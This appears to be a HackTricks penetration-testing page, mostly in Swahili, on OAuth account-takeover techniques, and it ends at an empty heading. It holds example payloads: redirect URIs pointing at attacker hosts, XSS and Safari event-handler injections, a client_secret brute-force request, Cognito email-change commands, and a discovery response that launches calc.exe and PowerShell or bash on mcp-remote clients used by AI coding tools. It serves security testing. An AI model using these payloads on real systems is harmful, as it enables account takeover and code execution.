OAuth kwa Kuchukua udhibiti wa akaunti

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Taarifa za Msingi

OAuth inatoa matoleo mbalimbali, na maarifa ya msingi yanapatikana kwenye OAuth 2.0 documentation. Majadiliano haya yanazingatia hasa OAuth 2.0 authorization code grant type, na hutatua mfumo wa idhini unaowezesha programu kupata au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine (seva ya idhini).

Fikiria tovuti ya mfano https://example.com, iliyoundwa kuonyesha machapisho yote ya mitandao yako ya kijamii, pamoja na yale ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumiwa. https://example.com itakuomba ruhusa yako ya kupata machapisho yako ya mitandao ya kijamii. Hivyo basi, skrini ya idhini itaonekana kwenye https://socialmedia.com, ikionyesha idhini zinazokuwa zinaombwa na msanidi programu anayefanya ombi. Baada ya ukikubali, https://example.com itapata uwezo wa kupata machapisho yako kwa niaba yako.

Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0:

  • resource owner: Wewe, kama mtumiaji/entiti, unatoa idhini ya upatikanaji wa rasilimali zako, kama machapisho ya akaunti yako ya mitandao ya kijamii.
  • resource server: Seva inayosimamia maombi yaliyoidhinishwa baada ya programu kupata access token kwa niaba ya resource owner, kwa mfano, https://socialmedia.com.
  • client application: Programu inayotafuta idhini kutoka kwa resource owner, kama https://example.com.
  • authorization server: Seva inayotoa access tokens kwa client application baada ya resource owner kuthibitishwa na kupata idhini, kwa mfano, https://socialmedia.com.
  • client_id: Kitambulisho cha umma, cha kipekee kwa programu.
  • client_secret: Ufundi wa siri, unaojulikana tu kwa programu na authorization server, unaotumika kuzalisha access_tokens.
  • response_type: Thamani inayoelezea aina ya token inayotafutwa, kama code.
  • scope: Kiwango cha upatikanaji ambacho client application inakiomba kutoka kwa resource owner.
  • redirect_uri: URL ambayo mtumiaji atarudishwa baada ya idhini. Hii kawaida inapaswa kuendana na URL iliyosajiliwa awali.
  • state: Parameta ya kuhifadhi data wakati mtumiaji anaporudishwa kwenda na kutoka kwa authorization server. Upekee wake ni muhimu kama kifaa cha kuzuia CSRF.
  • grant_type: Parameta inayoonyesha aina ya grant na aina ya token itakayorejeshwa.
  • code: Msimbo wa idhini kutoka kwa authorization server, unaotumika pamoja na client_id na client_secret na client application kupata access_token.
  • access_token: Tokeni ambayo client application inaitumia kwa maombi ya API kwa niaba ya resource owner.
  • refresh_token: Inaruhusu programu kupata access_token mpya bila kumwuliza tena mtumiaji.

Mtiririko

Mtiririko halisi wa OAuth unaenda kama ifuatavyo:

  1. Unaenda kwenye https://example.com na kubofya kitufe “Integrate with Social Media”.
  2. Tovuti hiyo kisha itatuma ombi kwa https://socialmedia.com ikiomba idhini yako ili kuruhusu application ya https://example.com kupata machapisho yako. Ombi limeundwa kama ifuatavyo:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Kisha utaonyeshwa ukurasa wa idhini.
  2. Baada ya idhini yako, Social Media itatuma jibu kwa redirect_uri likiwa na vigezo code na state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com inatumia code hii, pamoja na client_id na client_secret, kufanya ombi upande wa seva ili kupata access_token kwa niaba yako, ikikuwezesha kufikia ruhusa ulizokubali:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Mwisho, mchakato unakamilika wakati https://example.com inatumia access_token yako kufanya API call kwa mitandao ya kijamii ili kufikia

Udhaifu

Open redirect_uri

Kulingana na RFC 6749 §3.1.2, authorization server lazima irudishe browser tu kwa pre-registered, exact redirect URIs. Udhaifu wowote hapa unamruhusu mshambuliaji kumtuma mwathirika kupitia authorization URL yenye madhara ili IdP impelekee code ya mwathirika (na state) moja kwa moja kwa endpoint ya mshambuliaji, ambaye anaweza kisha kuibadilisha na kuvuna tokens.

Mtiririko wa kawaida wa mashambulizi:

  1. Tengeneza https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback na uitume kwa mwathirika.
  2. Mwathirika anathibitisha utambulisho wake na kuidhinisha scopes.
  3. IdP inarudisha kwa attacker.tld/callback?code=<victim-code>&state=... ambapo mshambuliaji anarekodi ombi na mara moja anabadilisha code.

Hitilafu za kawaida za uthibitisho za kuchunguza:

  • Hakuna uthibitisho – any absolute URL inakubaliwa, ikisababisha wizi wa code mara moja.
  • Uthibitisho dhaifu wa substring/regex kwenye host – punguza kwa kutumia lookalikes kama evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, au match.com@evil.com.
  • IDN homograph mismatches – uthibitisho hufanyika kwa fomu ya punycode (xn--), lakini browser inarudisha kwa domain ya Unicode inayodhibitiwa na mshambuliaji.
  • Arbitrary paths on an allowed host – pointing redirect_uri to /openredirect?next=https://attacker.tld au endpoint yoyote ya XSS/user-content leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Directory constraints without normalization – patterns kama /oauth/* zinaweza kupitishwa kwa /oauth/../anything.
  • Wildcard subdomains – accepting *.example.com inamaanisha takeover yoyote (dangling DNS, S3 bucket, etc.) mara moja huleta callback halali.
  • Non-HTTPS callbacks – kuruhusu http:// URIs kupitia kunampa wanaoshambulia mtaa (Wi-Fi, corporate proxy) nafasi ya kunyanga code wakati wa usafirishaji.

Pitia pia vigezo vya aina ya redirect vya ziada (client_uri, policy_uri, tos_uri, initiate_login_uri, n.k.) na OpenID discovery document (/.well-known/openid-configuration) kwa endpoints za ziada ambazo zinaweza kurithi hitilafu zile zile za uthibitisho.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Kufunga redirect_uri kwa “owned/first-party domains” hakusaidii ikiwa domain yoyote iliyoorodheshwa inafichua attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, n.k.). Ikiwa OAuth/federated login flow returns tokens in the URL (query au hash), mshambuliaji anaweza:

  1. Anza mtiririko halali kutengeneza pre-token (mfano, etoken katika mtiririko wa hatua nyingi wa Accounts Center/FXAuth).
  2. Tuma mwathirika authorization URL ambayo inaweka domain iliyoorodheshwa kama redirect_uri/base_uri lakini inaonyesha next/path ndani ya namespace inayodhibitiwa na mshambuliaji (mfano, https://apps.facebook.com/<attacker_app>).
  3. Baada mwathirika anakubali, IdP inarudisha kwa path inayodhibitiwa na mshambuliaji na thamani nyeti ndani ya URL (token, blob, codes, n.k.).
  4. JavaScript kwenye ukurasa huo unasoma window.location na exfiltrates the values licha ya domain kuwa “trusted.”
  5. Replay thamani zilizokusanywa dhidi ya endpoints zilizo na hadhi chini ambazo zinaendelea kutegemea tu tokens zilizobebwa na redirect. Mfano kutoka kwa mtiririko wa FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS katika utekelezaji wa redirect

Kama ilivyoelezwa katika ripoti ya bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html kuna uwezekano kwamba redirect URL inarudishwa katika response ya server baada ya mtumiaji kuthibitisha, na hivyo inaweza kuwa vulnerable kwa XSS. Payload inayoweza kujaribiwa:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

Kurasa za makosa za callback za OAuth: reflected error_description, trusted-origin phishing, and encoded state leakage

Baadhi ya integrations za OAuth hutumia kurasa ya first-party callback page kuonyesha kushindwa kwa login baada ya IdP kurudisha browser nyuma. Kurasa hizi zina thamani kubwa kwa sababu tayari zinaendesha kwenye trusted origin na mara nyingi zinatumia vigezo vinavyoathiriwa na mshambuliaji kama error, error_description, message, description, au state.

  • Reflecting error_description into HTML bila strict output encoding kunaifanya callback kuwa trusted-origin phishing page. Hata pale <script> inapozuiwa, HTML injection bado inaweza kuiga ukurasa mzima wa kushindwa na kumwelekeza mhusika kufanya vitendo vya kuchaguliwa na mshambuliaji.
  • WAFs often key on common handlers kama onload/onerror. Wakati payloads za kawaida zinazuia, jaribu browser-specific or uncommon events ambazo defenders huenda hawazimekee kwenye blacklist. Mfano halisi ni onpagereveal ya Safari, ambayo inaweza kutekelezwa wakati callback page yenye madhara inaonyeshwa kwenye Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: ikiwa injected HTML/JS inaweza kufungua tena au kupakia upya same callback URL, unaweza kupata client-side resource exhaustion, madirisha/tabs zinazorudiwa, au log flooding kila render.
  • Always decode opaque-looking state values. Implementations nyingi hufanya Base64-encode JSON au user metadata na kudhani hilo ni “hidden”. Base64 ni reversible, hivyo callback URLs zinaweza leak PII kama anwani za barua pepe, kitambulisho cha tenanti, return paths, au internal workflow state.
  • Treat URL exposure as part of the bug: chochote kilicho kwenye callback URL kinaweza baadaye kuonekana katika browser history, reverse proxies, load balancers, app logs, monitoring tools, screenshots, na Referer headers ikiwa ukurasa unapakia third-party resources.

Quick checks during testing:

  1. Endesha both success na failure OAuth callbacks na rekodi URL kamili pamoja na rendered HTML.
  2. Replay the callback huku ukibadilisha error_description, message, na field nyingine za error kwa plain text, HTML, na event-handler payloads.
  3. Decode state kama Base64/URL-safe Base64 na kagua kwa PII au application state ambayo ingepaswa kubaki server-side.
  4. Rudia browser-specific payloads katika Safari/WebKit wakati WAF inapuzuia inline-event XSS probes za kawaida.

CSRF - Improper handling of state parameter

The state parameter ni Authorization Code flow CSRF token: client lazima i-generate cryptographically random value per browser instance, ui-persist mahali ambapo browser hiyo tu inaweza kusoma (cookie, local storage, n.k.), uitume katika authorization request, na kukataa response yoyote isiyorudisha thamani ile ile. Wakati thamani ni static, predictable, optional, au haijafungwa kwa session ya mtumiaji, attacker anaweza kumaliza OAuth flow yao wenyewe, kunasa ombi la mwisho lenye ?code= (pasipo kulituma), na baadaye kulazimisha browser ya victim kucheza tena ombi hilo ili account ya victim iunganishwe na profile ya attacker kwenye identity provider.

The replay pattern ni daima ile ile:

  1. Attacker anafanya authentication dhidi ya IdP kwa account yao na kunasa redirect ya mwisho yenye code (na state yoyote).
  2. Wanatoa ombi hilo, wanahifadhi URL, na baadaye wanachafua CSRF primitive yoyote (link, iframe, auto-submitting form) kuwalazimisha browser ya victim kuiloada.
  3. Ikiwa client haitumii state, application inatumia authorization result ya attacker na kumu-login attacker kwenye account ya victim katika app.

Orodha ya vitendo kwa kushughulikia state wakati wa majaribio:

  • Missing state entirely – ikiwa parameter haionekani kabisa, login nzima inaweza kuwa CSRFable.
  • state not required – ondoa kutoka kwa initial request; ikiwa IdP bado inatoa codes ambazo client inakubali, defense ni opt-in.
  • Returned state not validated – chafua value katika response (Burp, MITM proxy). Kukubali mismatched values kunamaanisha token iliyohifadhiwa haipimwi kamwe.
  • Predictable or purely data-driven state – apps nyingi huweka redirect paths au JSON blobs ndani ya state bila kuchanganya randomness, kuwaruhusu attackers kubahatisha valid values na kucheza flows upya. Daima prepend/append entropy yenye nguvu kabla ya ku-encode data.
  • state fixation – ikiwa app inaruhusu watumiaji kutoa value ya state (mfano, kupitia crafted authorization URLs) na kuitumia tena katika flow, attacker anaweza kuweka known value na kuitumia kwa waathiriwa mbalimbali.

PKCE inaweza kuongezea state (hasa kwa public clients) kwa ku-bind authorization code kwenye code verifier, lakini web clients bado lazima wafuatilie state ili kuzuia cross-user CSRF/account-linking bugs.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Attackers wanaweza kuunda account mapema kwa kutumia email ya victim. Ikiwa victim baadaye atatumia third-party service kwa login, application inaweza bila kukusudia kuunganisha account ya third-party na account iliyotengenezwa mapema na attacker, na kusababisha ufikiaji usioidhinishwa.
  2. Exploiting Lax OAuth Email Verification: Attackers wanaweza kuchukua fursa ya OAuth services ambazo hazithibitishi emails kwa kujisajili kisha kubadilisha email ya account kuwa ya victim. Mbinu hii pia ina hatari ya ufikiaji usioidhinishwa wa account, kama katika senario ya kwanza lakini kupitia attack vector tofauti.

Disclosure of Secrets

The client_id ni kwa makusudi public, lakini client_secret must never be recoverable by end users. Authorization Code deployments zinazojumuisha secret ndani ya mobile APKs, desktop clients, or single-page apps kwa ufanisi zinamkabidhi mtu yeyote aliyeweza kupakua package credential hiyo. Daima inspect public clients kwa:

  • Kufungua (unpacking) APK/IPA, desktop installer, au Electron app na kutafuta (grep) client_secret, Base64 blobs ambazo zinatokana kuwa JSON, au OAuth endpoints zilizowekwa hard-coded.
  • Kukagua bundled config files (plist, JSON, XML) au decompiled strings kwa client credentials.

Mara attacker anapoondoa secret, wanahitaji tu kuiba authorization code ya victim (kupitia weak redirect_uri, logs, n.k.) ili kwa kujitegemea kufanya hit kwenye /token na kutengeneza access/refresh tokens bila kuhusisha app halali. Tendea public/native clients kama incapable of holding secrets—badala yake zinapaswa kutegemea PKCE (RFC 7636) kuthibitisha umiliki wa per-instance code verifier badala ya secret static. Wakati wa upimaji, thibitisha kama PKCE ni mandatory na kama backend kwa kweli inakataa token exchanges zinazokosa ama client_secret or valid code_verifier.

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Mara mteja anapokuwa na code and state, ikiwa zinaonekana katika location.href au document.referrer na zinapelekwa kwa watu wa tatu, zina leak. Mifumo miwili inayojirudia:

  • Classic Referer leak: baada ya OAuth redirect, yoyote navigation inayohifadhi ?code=&state= katika URL itaziweka ndani ya header ya Referer inayotumwa kwa CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: baadhi ya SDKs (pixels/JS loggers) hureact kwa postMessage events kisha hutuma current location.href/referrer kwa backend APIs kwa kutumia token iliyotolewa katika message. Ukiwa na njia ya kuingiza token yako mwenyewe katika mtiririko huo (mfano, kupitia attacker-controlled postMessage relay), unaweza baadaye kusoma history/logs za maombi ya SDK API na kurecover OAuth artifacts za mwathirika zilizowekwa ndani ya maombi hayo.

Access Token Iliyohifadhiwa Katika Historia ya Kivinjari

Dhamana kuu ya Authorization Code grant ni kwamba access tokens hazifiki kamwe kwenye browser ya mmiliki wa rasilimali. Wakati implementations zinapoleak tokens client-side, mdudu mdogo wowote (XSS, Referer leak, proxy logging) unawaweka wahalifu kwenye compromise ya akaunti mara moja. Daima angalia:

  • Tokens in URLs – ikiwa access_token inaonekana katika query/fragment, inafika katika historia ya kivinjari, server logs, analytics, na Referer headers zinazotumwa kwa watu wa tatu.
  • Tokens transiting untrusted middleboxes – kurudisha tokens kwa HTTP au kupitia debugging/corporate proxies kunaruhusu waangalizi wa mtandao kuzichukua moja kwa moja.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, au serialized JSON blobs zinafunua tokens kwa kila script kwenye origin (ikiwa ni pamoja na XSS payloads au extensions zenye nia mbaya).
  • Tokens persisted in Web Storage – localStorage/sessionStorage huzima tokens kwa muda mrefu baada ya logout kwenye vifaa vinavyoshirikiwa na zinapatikana kwa script.

Moja ya uvumbuzi hivi kawaida huboresha bug ambazo zingekuwa “low” (kama CSP bypass au DOM XSS) hadi full API takeover kwa sababu attacker anaweza kusoma na kureplay leaked bearer token.

Everlasting Authorization Code

Authorization codes lazima ziwe short-lived, single-use, na replay-aware. Unapopima mtiririko, chukua code na:

  • Test the lifetime – RFC 6749 inapendekeza dakika, si saa. Jaribu kutumia code tena baada ya 5–10 dakika; ikiwa bado inafanya kazi, window ya exposure kwa code yoyote iliyoleak ni kubwa sana.
  • Test sequential reuse – tuma code ile ile mara mbili. Ikiwa ombi la pili linatoa token nyingine, wahalifu wanaweza clone sessions kwa wakati usio na kipimo.
  • Test concurrent redemption/race conditions – tuma maombi mawili ya token kwa wakati mmoja (Burp intruder, turbo intruder). Issuers dhaifu wakati mwingine hutoa zote mbili.
  • Observe replay handling – jaribio la reuse halipaswi tu kushindwa bali pia lifute tokens zozote tayari zilizotengenezwa kutoka kwa code hiyo. Vinginevyo, replay iliyogunduliwa inamhifadhi attacker token ya kwanza kuendelea kufanya kazi.

Kuchanganya code inayoruhusu replay na redirect_uri yoyote au mdudu wa logging kunaruhusu ufikiaji wa akaunti wa kudumu hata baada ya mwathirika kukamilisha login halali.

Authorization/Refresh Token not bound to client

Ikiwa unaweza kupata authorization code na kuiredeem kwa client/app tofauti, unaweza takeover akaunti za wengine. Jaribu kuangalia weak binding kwa:

  • Kukamata code kwa app A na kuituma kwa token endpoint ya app B; ikiwa bado unapata token, audience binding imevunjika.
  • Kujaribu first-party token minting endpoints ambazo zinapaswa kuwa zimetengwa kwa client IDs zao mwenyewe; ikiwa zinakubali state/app_id yoyote huku zikitathmini tu code, unafanya kwa ufanisi authorization-code swap ili kuchapisha first-party tokens zenye vigezo vya juu.
  • Kuangalia kama client binding inaacha kwa kuzingatia nonce/redirect URI mismatch. Ikiwa ukurasa wa error bado unapakia SDKs zinazofanya logging ya location.href, changanya na Referer/telemetry leaks ili kuiba codes na kuziweka redeem mahali pengine.

Kila endpoint inayobadilisha code → token inapaswa kuthibitisha client iliyotoa, redirect URI, na nonce; vinginevyo, code iliyoporwa kutoka app yoyote inaweza kuibadilishwa kuwa first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ unaweza kuona kwamba token ambayo AWS Cognito inamrudishia mtumiaji inaweza kuwa na permissions za kutosha kuoverwrites user data. Kwa hivyo, ikiwa unaweza kubadilisha user email kwa email tofauti, unaweza kuwa na uwezo wa take over akaunti za wengine.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Kudhulumu tokens za Apps nyingine

Kama ilivyoelezwa katika mentioned in this writeup, OAuth flows ambazo zinatarajia kupokea token (na si code) zinaweza kuwa nyeti ikiwa hazikagui kwamba token inamilikiwa na app.

Hii ni kwa sababu attacker anaweza kuunda application supporting OAuth and login with Facebook (kwa mfano) ndani ya application yake mwenyewe. Kisha, mara victim atakapo login kwa Facebook katika attackers application, attacker anaweza kupata OAuth token ya user iliyotolewa kwa application yake, na kuitumia kuingia katika victim OAuth application akitumia token ya user ya victim.

Caution

Kwa hiyo, ikiwa attacker anafanikiwa kumfanya user aingie kwenye OAuth application yake mwenyewe, ataweza kunyakua account ya victim katika applications ambazo zinatarajia token na hazikagui kama token ilitolewa kwa app ID yao.

Two links & cookie

Kulingana na this writeup, ilikuwa inawezekana kumfanya victim afungue ukurasa wenye returnUrl unaoelekeza kwa host ya attacker. Taarifa hii ingewekwa katika cookie (RU) na katika hatua baadaye prompt itamuuliza user ikiwa anataka kumpa access host hiyo ya attacker.

Ili kuepuka prompt hii, ilikuwa inawezekana kufungua tabu kuanzisha Oauth flow ambayo ingeweka cookie ya RU kwa kutumia returnUrl, kufunga tabu kabla prompt haijaonyeshwa, na kufungua tabu mpya bila thamani hiyo. Kisha, prompt haitaanisha kuhusu host ya attacker, lakini cookie itakuwa imewekwa kwake, hivyo token itatumwa kwa host ya attacker katika redirection.

Prompt Interaction Bypass

Kama ilivyoelezwa katika this video, baadhi ya implementations za OAuth zinaweza kuruhusu kuweka parameter ya GET ya prompt kama None (&prompt=none) ili kuzuia watumiaji kuombwa kuthibitisha access iliyotolewa kwenye prompt kwenye wavuti ikiwa tayari wako logged in kwenye platform.

response_mode

Kama explained in this video, inaweza kuwa inawezekana kuweka parameter ya response_mode kuonyesha wapi unataka code itolewe kwa URL ya mwisho:

  • response_mode=query -> Code inatolewa ndani ya GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> Code inatolewa ndani ya fragment ya URL #code=2397rf3gu93f
  • response_mode=form_post -> Code inatolewa ndani ya POST form yenye input iitwayo code na value
  • response_mode=web_message -> Code inatumwa kwa post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs ni malengo mazuri kwa clickjacking: ikiwa zinaweza kuingizwa ndani ya frame, attacker anaweza kuweka overlay ya graphics za kubuni, kuficha vitufe halisi, na kumdanganya user ili aidhinishe scopes hatari au kuunganisha accounts. Jenga PoCs ambazo:

  1. Zidisha IdP authorization URL ndani ya <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Tumia positioning/opacity tricks kulinganisha vitufe bandia na controls zilizofichwa za Allow/Approve.
  3. Kwa hiari jaza vigezo (scopes, redirect URI) ili approval iliyoporwa iumie attacker mara moja.

Wakati wa testing hakikisha kurasa za IdP zinatoa ama X-Frame-Options: DENY/SAMEORIGIN au Content-Security-Policy: frame-ancestors 'none' kali. Ikiwa hakuna, onesha hatari kwa kutumia tooling kama NCC Group’s clickjacking PoC generator na rekodi jinsi victim anavyoweza kumrudisha mwombaji app kwa urahisi. Kwa mawazo ya payload zaidi ona Clickjacking.

OAuth ROPC flow - 2 FA bypass

Kulingana na this blog post, huu ni OAuth flow unaoruhusu kuingia kwenye OAuth kwa kupitisha username na password. Ikiwa katika flow hii rahisi token yenye access kwa vitendo vyote user anaweza kufanya inarudiwa basi inawezekana kupitisha 2FA kwa kutumia token hiyo.

ATO on web page redirecting based on open redirect to referrer

Huo blogpost unaelezea jinsi ilivyowezekana kudhulumu open redirect kwa thamani ya referrer ili kutumia OAuth kufikia ATO. Shambulio lilikuwa:

  1. Victim anatembelea ukurasa wa attacker
  2. Victim anaweka link hatari na opener inaanzisha Google OAuth flow na response_type=id_token,code&prompt=none kama vigezo vya ziada huku referrer akiwa tovuti ya attacker.
  3. Katika opener, baada ya provider kumtambulisha victim, inamrudisha kwa thamani ya redirect_uri (tovuti ya victim) kwa redirection 30X ambayo bado inaweka tovuti ya attacker kama referer.
  4. Tovuti ya victim inachochea open redirect kulingana na referrer ikimrudisha user kwa tovuti ya attacker; kwa kuwa respose_type ilikuwa id_token,code, code itatumwa kwa attacker katika fragment ya URL na kumruhusu kunyakua account ya user kupitia Google kwenye tovuti ya victim.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration katika OAuth inatumikia kama vector isiyoonekana lakini muhimu kwa udhaifu wa usalama, hasa kwa mashambulizi ya Server-Side Request Forgery (SSRF). Endpoint hii inaruhusu servers za OAuth kupokea maelezo kuhusu client applications, ikiwa ni pamoja na URLs nyeti zinazoweza kutumika vibaya.

Key Points:

  • Dynamic Client Registration mara nyingi inapatikana kwenye /register na inakubali maelezo kama client_name, client_secret, redirect_uris, na URLs za logos au JSON Web Key Sets (JWKs) kupitia POST requests.
  • Kipengele hiki kinafuata specs za RFC7591 na OpenID Connect Registration 1.0, ambavyo vinajumuisha vigezo vinavyoweza kuwa wazi kwa SSRF.
  • Mchakato wa registration unaweza kwa bahati mbaya kuonyesha servers kwa SSRF kwa njia kadhaa:
  • logo_uri: URL ya logo ya client application ambayo server inaweza kuitafuta, ikasababisha SSRF au XSS ikiwa URL inashughulikiwa vibaya.
  • jwks_uri: URL ya JWK document ya client, ambayo ikiwa imeundwa kwa ujeuri, inaweza kusababisha server kufanya requests za outbound kwa server inayodhibitiwa na attacker.
  • sector_identifier_uri: Inareferensa array ya JSON ya redirect_uris, ambayo server inaweza kuitafuta, ikitoa nafasi ya SSRF.
  • request_uris: Inaorodhesha request URIs zinazoruhusiwa kwa client, ambazo zinaweza kutumika vibaya ikiwa server inazitafuta mwanzoni mwa mchakato wa authorization.

Exploitation Strategy:

  • SSRF inaweza kuelezwa kwa ku-register client mpya yenye URLs zenye madhara katika vigezo kama logo_uri, jwks_uri, au sector_identifier_uri.
  • Wakati u exploit moja kwa moja kupitia request_uris unaweza kuzuizwa na whitelist controls, kutoa request_uri iliyosajiliwa mapema na inayodhibitiwa na attacker kunaweza kuwezesha SSRF wakati wa awamu ya authorization.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) inaonyesha jinsi dynamic OAuth discovery inavyokuwa RCE primitive wakati client inapopita metadata ya IdP moja kwa moja kwa operating system. MCP server ya mbali inarudisha authorization_endpoint inayodhibitiwa na attacker wakati wa discovery exchange (/.well-known/openid-configuration au RPC yoyote ya metadata). mcp-remote ≤0.1.15 ingewaita kisha system URL handler (start, open, xdg-open, etc.) na mfuatano wowote uliotumwa, hivyo scheme/path yoyote inayotambuliwa na OS ilitekelezwa mahali hapo.

Attack workflow

  1. Elekeza desktop agent kwa MCP/OAuth server hatari (npx mcp-remote https://evil). Agent inapokea 401 pamoja na metadata.
  2. Server inajibu kwa JSON kama:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Client inazindua OS handler kwa URI iliyotolewa. Windows inakubali payloads kama file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux zinakubali file:///Applications/Calculator.app/... au hata custom schemes kama cmd://bash -lc '<payload>' ikiwa zimejisajili.
  2. Kwa sababu hili hutokea kabla ya mwingiliano wowote wa mtumiaji, kusanidi tu client ili kuzungumza na attacker server kunasababisha utekelezaji wa msimbo.

How to test

  • Lenga desktop/agent yoyote inayounga mkono OAuth ambayo inafanya discovery kupitia HTTP(S) na kufungua endpoints zilizorejeshwa kwa ndani (Electron apps, CLI helpers, thick clients).
  • Kata au host discovery response na badilisha authorization_endpoint, device_authorization_endpoint, au viwanja vinavyofanana na file://, cmd://, UNC paths, au schemes nyingine hatari.
  • Angalia ikiwa client inathibitisha scheme/host. Ukosefu wa uthibitisho husababisha utekelezaji wa papo hapo chini ya muktadha wa mtumiaji na kuthibitisha tatizo.
  • Rudia kwa schemes tofauti ili ramani uso wote wa shambulio (mf., ms-excel:, data:text/html,, custom protocol handlers) na onyesha uwezo wa kuvuka majukwaa.

OAuth providers Race Conditions

Ikiwa jukwaa unalolipima ni OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field hutambulisha mtumiaji kwa njia ya kipekee, lakini muundo wake unatofautiana kwa kila Authorization Server. Ili kuoanisha utambuzi wa watumiaji, baadhi ya clients hutumia emails au user handles. Hata hivyo, hii ni hatari kwa sababu:

  • Baadhi ya Authorization Servers hawahakiki kwamba mali hizi (kama email) zitadumu zisibadilike.
  • Katika utekelezaji fulani—kama “Login with Microsoft”—client inategemea uwanja wa email, ambao ni user-controlled by the user in Entra ID na haukathibitishwa.
  • Mdhulumu anaweza kunufaika na hili kwa kuunda shirika lao la Azure AD (mf., doyensectestorg) na kulitumia kufanya Microsoft login.
  • Ingawa Object ID (inayohifadhiwa katika sub) ni isiyobadilika na salama, utegemezi kwenye uwanja wa email unaoweza kubadilika unaweza kuwezesha account takeover (kwa mfano, kuiba akaunti kama victim@gmail.com).

Client Confusion Attack

Katika Client Confusion Attack, application inayotumia OAuth Implicit Flow inashindwa kuthibitisha kwamba access token ya mwisho imetengenezwa mahsusi kwa Client ID yake. Mdhulumu anaweka tovuti ya umma inayotumia Google’s OAuth Implicit Flow, akiwadanganya maelfu ya watumiaji kuingia na hivyo kuvuna access tokens zilizokusudiwa kwa tovuti ya mdhulumu. Ikiwa watumiaji hawa pia wana akaunti kwenye tovuti nyingine iliyo dhaifu ambayo haisahihi Client ID ya token, mdhulumu anaweza kutumia tena access tokens hizi kuvutia waathiriwa na kuchukua udhibiti wa akaunti zao.

Scope Upgrade Attack

Aina ya Authorization Code Grant inajumuisha mawasiliano salama server-to-server kwa kusafirisha data za mtumiaji. Hata hivyo, ikiwa Authorization Server inamwamini kwa kimya ndimi parameter ya scope katika Access Token Request (parameter ambayo haijatajwa katika RFC), application yenye nia mbaya inaweza kuinua vibali vya authorization code kwa kuomba scope ya juu. Baada ya Access Token kutengenezwa, Resource Server lazima liithibitishe: kwa JWT tokens, hili linahusisha kukagua signature ya JWT na kutoa data kama client_id na scope, wakati kwa token za random string, server lazima iulize Authorization Server ili kupata maelezo ya token.

Redirect Scheme Hijacking

